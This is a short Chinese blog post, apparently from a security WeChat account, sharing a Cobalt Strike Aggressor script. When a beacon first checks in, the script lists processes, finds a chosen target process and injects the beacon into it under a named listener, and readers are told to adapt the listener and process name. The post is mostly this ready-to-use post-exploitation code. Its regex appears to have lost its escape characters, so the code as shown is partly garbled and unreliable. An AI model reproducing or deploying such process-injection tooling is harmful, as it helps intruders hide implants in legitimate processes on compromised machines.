唔，看到了公众号后台的留言，希望能对大家有所帮助。
on beacon_initial{sub callback{$regex = '(.*n)+xxx.exetd+t(d+)(.*n)+';$listener = "xxx";if ($2 ismatch $regex){$pid = matched()[1];$inject_pid = $pid;if (-is64 $1){$arch = "x64";}else{$arch = "x86";}binject($1, $pid, $listener, $arch);}}if($inject_pid != beacon_info($1,"pid")){bps($1, &callback);}}
可自行修改监听器的名字与需要注入的进程。演示视频(CobaltStrike4.1)如下：
本文始发于微信公众号（鸿鹄实验室）：cobalestrike上线自动迁移
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论